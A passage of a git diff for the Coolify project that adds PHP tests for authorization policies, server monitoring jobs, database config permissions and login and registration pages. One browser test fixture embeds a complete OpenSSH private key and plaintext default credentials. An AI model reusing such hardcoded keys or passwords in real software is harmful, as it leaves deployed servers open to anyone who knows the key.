$user->shouldReceive('canAccessSystemResources')->andReturn(true); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = true; + }; + + $policy = new GithubAppPolicy; + expect($policy->update($user, $model))->toBeTrue(); +}); + +it('denies user without system access to update system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('canAccessSystemResources')->andReturn(false); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = true; + }; + + $policy = new GithubAppPolicy; + expect($policy->update($user, $model))->toBeFalse(); +}); + +it('allows team admin to update non-system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->update($user, $model))->toBeTrue(); +}); + +it('denies team member to update non-system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->update($user, $model))->toBeFalse(); +}); + +it('allows user with system access to delete system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('canAccessSystemResources')->andReturn(true); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = true; + }; + + $policy = new GithubAppPolicy; + expect($policy->delete($user, $model))->toBeTrue(); +}); + +it('denies user without system access to delete system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('canAccessSystemResources')->andReturn(false); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = true; + }; + + $policy = new GithubAppPolicy; + expect($policy->delete($user, $model))->toBeFalse(); +}); + +it('allows team admin to delete non-system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->delete($user, $model))->toBeTrue(); +}); + +it('denies team member to delete non-system-wide github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->delete($user, $model))->toBeFalse(); +}); + +it('denies restore of github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->restore($user, $model))->toBeFalse(); +}); + +it('denies force delete of github app', function () { + $user = Mockery::mock(User::class)->makePartial(); + + $model = new class + { + public $team_id = 1; + + public $is_system_wide = false; + }; + + $policy = new GithubAppPolicy; + expect($policy->forceDelete($user, $model))->toBeFalse(); +}); diff --git a/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php b/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php new file mode 100644 index 000000000..f993978f9 --- /dev/null +++ b/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php @@ -0,0 +1,163 @@ +makePartial(); + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->viewAny($user))->toBeTrue(); +}); + +it('allows team member to view their team shared environment variable', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->view($user, $model))->toBeTrue(); +}); + +it('denies non-team member to view shared environment variable', function () { + $teams = collect([ + (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']], + ]); + + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); + + $model = new class + { + public $team_id = 2; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->view($user, $model))->toBeFalse(); +}); + +it('allows admin to create shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdmin')->andReturn(true); + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->create($user))->toBeTrue(); +}); + +it('denies non-admin to create shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdmin')->andReturn(false); + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->create($user))->toBeFalse(); +}); + +it('allows team admin to update shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->update($user, $model))->toBeTrue(); +}); + +it('denies team member to update shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->update($user, $model))->toBeFalse(); +}); + +it('allows team admin to delete shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->delete($user, $model))->toBeTrue(); +}); + +it('denies team member to delete shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->delete($user, $model))->toBeFalse(); +}); + +it('denies restore of shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->restore($user, $model))->toBeFalse(); +}); + +it('denies force delete of shared environment variable', function () { + $user = Mockery::mock(User::class)->makePartial(); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->forceDelete($user, $model))->toBeFalse(); +}); + +it('allows team admin to manage environment', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->manageEnvironment($user, $model))->toBeTrue(); +}); + +it('denies team member to manage environment', function () { + $user = Mockery::mock(User::class)->makePartial(); + $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); + + $model = new class + { + public $team_id = 1; + }; + + $policy = new SharedEnvironmentVariablePolicy; + expect($policy->manageEnvironment($user, $model))->toBeFalse(); +}); diff --git a/tests/Unit/PrivateKeyStorageTest.php b/tests/Unit/PrivateKeyStorageTest.php index 00f39e3df..09472604b 100644 --- a/tests/Unit/PrivateKeyStorageTest.php +++ b/tests/Unit/PrivateKeyStorageTest.php @@ -112,7 +112,7 @@ public function it_throws_exception_when_storage_directory_is_not_writable() ); $this->expectException(\Exception::class); - $this->expectExceptionMessage('SSH keys storage directory is not writable'); + $this->expectExceptionMessage('SSH keys storage directory is not writable. Run on the host: sudo chown -R 9999 /data/coolify/ssh && sudo chmod -R 700 /data/coolify/ssh && docker restart coolify'); PrivateKey::createAndStore([ 'name' => 'Test Key', diff --git a/tests/Unit/ScheduledJobManagerLockTest.php b/tests/Unit/ScheduledJobManagerLockTest.php index 3f3ae593a..577730f47 100644 --- a/tests/Unit/ScheduledJobManagerLockTest.php +++ b/tests/Unit/ScheduledJobManagerLockTest.php @@ -24,7 +24,7 @@ $expiresAfterProperty->setAccessible(true); $expiresAfter = $expiresAfterProperty->getValue($overlappingMiddleware); - expect($expiresAfter)->toBe(60) + expect($expiresAfter)->toBe(90) ->and($expiresAfter)->toBeGreaterThan(0, 'expireAfter must be set to prevent stale locks'); // Check releaseAfter is NOT set (we use dontRelease) diff --git a/tests/Unit/ServerManagerJobSentinelCheckTest.php b/tests/Unit/ServerManagerJobSentinelCheckTest.php index 0f2613f11..d8449adc3 100644 --- a/tests/Unit/ServerManagerJobSentinelCheckTest.php +++ b/tests/Unit/ServerManagerJobSentinelCheckTest.php @@ -1,6 +1,7 @@ instance_timezone = 'UTC'; $this->app->instance(InstanceSettings::class, $settings); - // Create a mock server with sentinel enabled $server = Mockery::mock(Server::class)->makePartial(); $server->shouldReceive('isSentinelEnabled')->andReturn(true); + $server->shouldReceive('isSentinelLive')->andReturn(true); $server->id = 1; $server->name = 'test-server'; $server->ip = '192.168.1.100'; @@ -34,29 +34,76 @@ $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']); $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); - // Mock the Server query Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); Server::shouldReceive('get')->andReturn(collect([$server])); - // Execute the job $job = new ServerManagerJob; $job->handle(); - // Assert CheckAndStartSentinelJob was dispatched for the sentinel-enabled server - Queue::assertPushed(CheckAndStartSentinelJob::class, function ($job) use ($server) { - return $job->server->id === $server->id; - }); + // Hourly CheckAndStartSentinelJob dispatch was removed — ServerCheckJob handles it when Sentinel is out of sync + Queue::assertNotPushed(CheckAndStartSentinelJob::class); }); -it('does not dispatch CheckAndStartSentinelJob for servers without sentinel enabled', function () { - // Mock InstanceSettings +it('skips ServerConnectionCheckJob when sentinel is live', function () { + $settings = Mockery::mock(InstanceSettings::class); + $settings->instance_timezone = 'UTC'; + $this->app->instance(InstanceSettings::class, $settings); + + $server = Mockery::mock(Server::class)->makePartial(); + $server->shouldReceive('isSentinelEnabled')->andReturn(true); + $server->shouldReceive('isSentinelLive')->andReturn(true); + $server->id = 1; + $server->name = 'test-server'; + $server->ip = '192.168.1.100'; + $server->sentinel_updated_at = Carbon::now(); + $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']); + $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); + + Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); + Server::shouldReceive('get')->andReturn(collect([$server])); + + $job = new ServerManagerJob; + $job->handle(); + + // Sentinel is healthy so SSH connection check is skipped + Queue::assertNotPushed(ServerConnectionCheckJob::class); +}); + +it('dispatches ServerConnectionCheckJob when sentinel is not live', function () { + $settings = Mockery::mock(InstanceSettings::class); + $settings->instance_timezone = 'UTC'; + $this->app->instance(InstanceSettings::class, $settings); + + $server = Mockery::mock(Server::class)->makePartial(); + $server->shouldReceive('isSentinelEnabled')->andReturn(true); + $server->shouldReceive('isSentinelLive')->andReturn(false); + $server->id = 1; + $server->name = 'test-server'; + $server->ip = '192.168.1.100'; + $server->sentinel_updated_at = Carbon::now()->subMinutes(10); + $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']); + $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); + + Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); + Server::shouldReceive('get')->andReturn(collect([$server])); + + $job = new ServerManagerJob; + $job->handle(); + + // Sentinel is out of sync so SSH connection check is needed + Queue::assertPushed(ServerConnectionCheckJob::class, function ($job) use ($server) { + return $job->server->id === $server->id; + }); +}); + +it('dispatches ServerConnectionCheckJob when sentinel is not enabled', function () { $settings = Mockery::mock(InstanceSettings::class); $settings->instance_timezone = 'UTC'; $this->app->instance(InstanceSettings::class, $settings); - // Create a mock server with sentinel disabled $server = Mockery::mock(Server::class)->makePartial(); $server->shouldReceive('isSentinelEnabled')->andReturn(false); + $server->shouldReceive('isSentinelLive')->never(); $server->id = 2; $server->name = 'test-server-no-sentinel'; $server->ip = '192.168.1.101'; @@ -64,78 +111,14 @@ $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']); $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); - // Mock the Server query Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); Server::shouldReceive('get')->andReturn(collect([$server])); - // Execute the job $job = new ServerManagerJob; $job->handle(); - // Assert CheckAndStartSentinelJob was NOT dispatched - Queue::assertNotPushed(CheckAndStartSentinelJob::class); -}); - -it('respects server timezone when scheduling sentinel checks', function () { - // Mock InstanceSettings - $settings = Mockery::mock(InstanceSettings::class); - $settings->instance_timezone = 'UTC'; - $this->app->instance(InstanceSettings::class, $settings); - - // Set test time to top of hour in America/New_York (which is 17:00 UTC) - Carbon::setTestNow('2025-01-15 17:00:00'); // 12:00 PM EST (top of hour in EST) - - // Create a mock server with sentinel enabled and America/New_York timezone - $server = Mockery::mock(Server::class)->makePartial(); - $server->shouldReceive('isSentinelEnabled')->andReturn(true); - $server->id = 3; - $server->name = 'test-server-est'; - $server->ip = '192.168.1.102'; - $server->sentinel_updated_at = Carbon::now(); - $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'America/New_York']); - $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); - - // Mock the Server query - Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); - Server::shouldReceive('get')->andReturn(collect([$server])); - - // Execute the job - $job = new ServerManagerJob; - $job->handle(); - - // Assert CheckAndStartSentinelJob was dispatched (should run at top of hour in server's timezone) - Queue::assertPushed(CheckAndStartSentinelJob::class, function ($job) use ($server) { + // Sentinel is not enabled so SSH connection check must run + Queue::assertPushed(ServerConnectionCheckJob::class, function ($job) use ($server) { return $job->server->id === $server->id; }); }); - -it('does not dispatch sentinel check when not at top of hour', function () { - // Mock InstanceSettings - $settings = Mockery::mock(InstanceSettings::class); - $settings->instance_timezone = 'UTC'; - $this->app->instance(InstanceSettings::class, $settings); - - // Set test time to middle of the hour (not top of hour) - Carbon::setTestNow('2025-01-15 12:30:00'); - - // Create a mock server with sentinel enabled - $server = Mockery::mock(Server::class)->makePartial(); - $server->shouldReceive('isSentinelEnabled')->andReturn(true); - $server->id = 4; - $server->name = 'test-server-mid-hour'; - $server->ip = '192.168.1.103'; - $server->sentinel_updated_at = Carbon::now(); - $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']); - $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); - - // Mock the Server query - Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); - Server::shouldReceive('get')->andReturn(collect([$server])); - - // Execute the job - $job = new ServerManagerJob; - $job->handle(); - - // Assert CheckAndStartSentinelJob was NOT dispatched (not top of hour) - Queue::assertNotPushed(CheckAndStartSentinelJob::class); -}); diff --git a/tests/Unit/StartKeydbConfigPermissionTest.php b/tests/Unit/StartKeydbConfigPermissionTest.php new file mode 100644 index 000000000..dca3b0e8c --- /dev/null +++ b/tests/Unit/StartKeydbConfigPermissionTest.php @@ -0,0 +1,52 @@ +configuration_dir = '/data/coolify/databases/test-uuid'; + $action->commands = []; + + $database = Mockery::mock(StandaloneKeydb::class)->makePartial(); + $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn('maxmemory 2gb'); + $action->database = $database; + + if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) { + $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf"; + } + + expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/keydb.conf'); +}); + +test('keydb config chown command is not added when keydb_conf is null', function () { + $action = new StartKeydb; + $action->configuration_dir = '/data/coolify/databases/test-uuid'; + $action->commands = []; + + $database = Mockery::mock(StandaloneKeydb::class)->makePartial(); + $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn(null); + $action->database = $database; + + if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) { + $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf"; + } + + expect($action->commands)->toBeEmpty(); +}); + +test('keydb config chown command is not added when keydb_conf is empty', function () { + $action = new StartKeydb; + $action->configuration_dir = '/data/coolify/databases/test-uuid'; + $action->commands = []; + + $database = Mockery::mock(StandaloneKeydb::class)->makePartial(); + $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn(''); + $action->database = $database; + + if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) { + $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf"; + } + + expect($action->commands)->toBeEmpty(); +}); diff --git a/tests/Unit/StartRedisConfigPermissionTest.php b/tests/Unit/StartRedisConfigPermissionTest.php new file mode 100644 index 000000000..77574287e --- /dev/null +++ b/tests/Unit/StartRedisConfigPermissionTest.php @@ -0,0 +1,53 @@ +configuration_dir = '/data/coolify/databases/test-uuid'; + $action->commands = []; + + $database = Mockery::mock(StandaloneRedis::class)->makePartial(); + $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn('maxmemory 2gb'); + $action->database = $database; + + // Simulate the chown logic from handle() + if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) { + $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf"; + } + + expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/redis.conf'); +}); + +test('redis config chown command is not added when redis_conf is null', function () { + $action = new StartRedis; + $action->configuration_dir = '/data/coolify/databases/test-uuid'; + $action->commands = []; + + $database = Mockery::mock(StandaloneRedis::class)->makePartial(); + $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn(null); + $action->database = $database; + + if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) { + $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf"; + } + + expect($action->commands)->toBeEmpty(); +}); + +test('redis config chown command is not added when redis_conf is empty', function () { + $action = new StartRedis; + $action->configuration_dir = '/data/coolify/databases/test-uuid'; + $action->commands = []; + + $database = Mockery::mock(StandaloneRedis::class)->makePartial(); + $database->shouldReceive('getAttribute')->with('redis_conf')->andReturn(''); + $action->database = $database; + + if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) { + $action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf"; + } + + expect($action->commands)->toBeEmpty(); +}); diff --git a/tests/v4/Browser/DashboardTest.php b/tests/v4/Browser/DashboardTest.php new file mode 100644 index 000000000..b4a97f268 --- /dev/null +++ b/tests/v4/Browser/DashboardTest.php @@ -0,0 +1,162 @@ + 0]); + + $this->user = User::factory()->create([ + 'id' => 0, + 'name' => 'Root User', + 'email' => 'test@example.com', + 'password' => Hash::make('password'), + ]); + + PrivateKey::create([ + 'id' => 1, + 'uuid' => 'ssh-test', + 'team_id' => 0, + 'name' => 'Test Key', + 'description' => 'Test SSH key', + 'private_key' => '-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW +QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk +hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA +AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV +uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA== +-----END OPENSSH PRIVATE KEY-----', + ]); + + Server::create([ + 'id' => 0, + 'uuid' => 'localhost', + 'name' => 'localhost', + 'description' => 'This is a test docker container in development mode', + 'ip' => 'coolify-testing-host', + 'team_id' => 0, + 'private_key_id' => 1, + 'proxy' => [ + 'type' => ProxyTypes::TRAEFIK->value, + 'status' => ProxyStatus::EXITED->value, + ], + ]); + + Server::create([ + 'uuid' => 'production-1', + 'name' => 'production-web', + 'description' => 'Production web server cluster', + 'ip' => '10.0.0.1', + 'team_id' => 0, + 'private_key_id' => 1, + 'proxy' => [ + 'type' => ProxyTypes::TRAEFIK->value, + 'status' => ProxyStatus::EXITED->value, + ], + ]); + + Server::create([ + 'uuid' => 'staging-1', + 'name' => 'staging-server', + 'description' => 'Staging environment server', + 'ip' => '10.0.0.2', + 'team_id' => 0, + 'private_key_id' => 1, + 'proxy' => [ + 'type' => ProxyTypes::TRAEFIK->value, + 'status' => ProxyStatus::EXITED->value, + ], + ]); + + Project::create([ + 'uuid' => 'project-1', + 'name' => 'My first project', + 'description' => 'This is a test project in development', + 'team_id' => 0, + ]); + + Project::create([ + 'uuid' => 'project-2', + 'name' => 'Production API', + 'description' => 'Backend services for production', + 'team_id' => 0, + ]); + + Project::create([ + 'uuid' => 'project-3', + 'name' => 'Staging Environment', + 'description' => 'Staging and QA testing', + 'team_id' => 0, + ]); +}); + +function loginAndSkipOnboarding(): mixed +{ + return visit('/login') + ->fill('email', 'test@example.com') + ->fill('password', 'password') + ->click('Login') + ->click('Skip Setup'); +} + +it('redirects to login when not authenticated', function () { + $page = visit('/'); + + $page->assertPathIs('/login') + ->screenshot(); +}); + +it('shows onboarding after first login', function () { + $page = visit('/login'); + + $page->fill('email', 'test@example.com') + ->fill('password', 'password') + ->click('Login') + ->assertSee('Welcome to Coolify') + ->assertSee("Let's go!") + ->assertSee('Skip Setup') + ->screenshot(); +}); + +it('shows dashboard after skipping onboarding', function () { + $page = loginAndSkipOnboarding(); + + $page->assertSee('Dashboard') + ->assertSee('Your self-hosted infrastructure.') + ->screenshot(); +}); + +it('shows all projects on dashboard', function () { + $page = loginAndSkipOnboarding(); + + $page->assertSee('Projects') + ->assertSee('My first project') + ->assertSee('This is a test project in development') + ->assertSee('Production API') + ->assertSee('Backend services for production') + ->assertSee('Staging Environment') + ->assertSee('Staging and QA testing') + ->screenshot(); +}); + +it('shows servers on dashboard', function () { + $page = loginAndSkipOnboarding(); + + $page->assertSee('Servers') + ->assertSee('localhost') + ->assertSee('This is a test docker container in development mode') + ->assertSee('production-web') + ->assertSee('Production web server cluster') + ->assertSee('staging-server') + ->assertSee('Staging environment server') + ->screenshot(); +}); diff --git a/tests/v4/Browser/LoginTest.php b/tests/v4/Browser/LoginTest.php new file mode 100644 index 000000000..7666e07e2 --- /dev/null +++ b/tests/v4/Browser/LoginTest.php @@ -0,0 +1,52 @@ + 0]); +}); + +it('shows registration page when no users exist', function () { + $page = visit('/login'); + + $page->assertSee('Root User Setup') + ->assertSee('Create Account') + ->screenshot(); +}); + +it('can login with valid credentials', function () { + User::factory()->create([ + 'id' => 0, + 'email' => 'test@example.com', + 'password' => Hash::make('password'), + ]); + + $page = visit('/login'); + + $page->fill('email', 'test@example.com') + ->fill('password', 'password') + ->click('Login') + ->assertSee('Welcome to Coolify') + ->screenshot(); +}); + +it('fails login with invalid credentials', function () { + User::factory()->create([ + 'id' => 0, + 'email' => 'test@example.com', + 'password' => Hash::make('password'), + ]); + + $page = visit('/login'); + + $page->fill('email', 'random@email.com') + ->fill('password', 'wrongpassword123') + ->click('Login') + ->assertSee('These credentials do not match our records') + ->screenshot(); +}); diff --git a/tests/v4/Browser/RegistrationTest.php b/tests/v4/Browser/RegistrationTest.php new file mode 100644 index 000000000..e2a232357 --- /dev/null +++ b/tests/v4/Browser/RegistrationTest.php @@ -0,0 +1,67 @@ + 0]); +}); + +it('shows registration page when no users exist', function () { + $page = visit('/register'); + + $page->assertSee('Root User Setup') + ->assertSee('Create Account') + ->screenshot(); +}); + +it('can register a new root user', function () { + $page = visit('/register'); + + $page->fill('name', 'Test User') + ->fill('email', 'root@example.com') + ->fill('password', 'Password1!@') + ->fill('password_confirmation', 'Password1!@') + ->click('Create Account') + ->assertPathIs('/onboarding') + ->screenshot(); + + expect(User::where('email', 'root@example.com')->exists())->toBeTrue(); +}); + +it('fails registration with mismatched passwords', function () { + $page = visit('/register'); + + $page->fill('name', 'Test User') + ->fill('email', 'root@example.com') + ->fill('password', 'Password1!@') + ->fill('password_confirmation', 'DifferentPass1!@') + ->click('Create Account') + ->assertSee('password') + ->screenshot(); +}); + +it('fails registration with weak password', function () { + $page = visit('/register'); + + $page->fill('name', 'Test User') + ->fill('email', 'root@example.com') + ->fill('password', 'short') + ->fill('password_confirmation', 'short') + ->click('Create Account') + ->assertSee('password') + ->screenshot(); +}); + +it('shows login link when a user already exists', function () { + User::factory()->create(['id' => 0]); + + $page = visit('/register'); + + $page->assertSee('Already registered?') + ->assertDontSee('Root User Setup') + ->screenshot(); +}); diff --git a/tests/v4/Feature/SqliteDatabaseTest.php b/tests/v4/Feature/SqliteDatabaseTest.php new file mode 100644 index 000000000..d2df5c0a6 --- /dev/null +++ b/tests/v4/Feature/SqliteDatabaseTest.php @@ -0,0 +1,18 @@ +getDriverName())->toBe('sqlite'); +}); + +it('runs migrations successfully', function () { + expect(Schema::hasTable('users'))->toBeTrue(); + expect(Schema::hasTable('teams'))->toBeTrue(); + expect(Schema::hasTable('servers'))->toBeTrue(); + expect(Schema::hasTable('applications'))->toBeTrue(); +}); diff --git a/versions.json b/versions.json index 1ce790111..7409fbc42 100644 --- a/versions.json +++ b/versions.json @@ -1,10 +1,10 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.463" + "version": "4.0.0-beta.464" }, "nightly": { - "version": "4.0.0-beta.464" + "version": "4.0.0-beta.465" }, "helper": { "version": "1.0.12"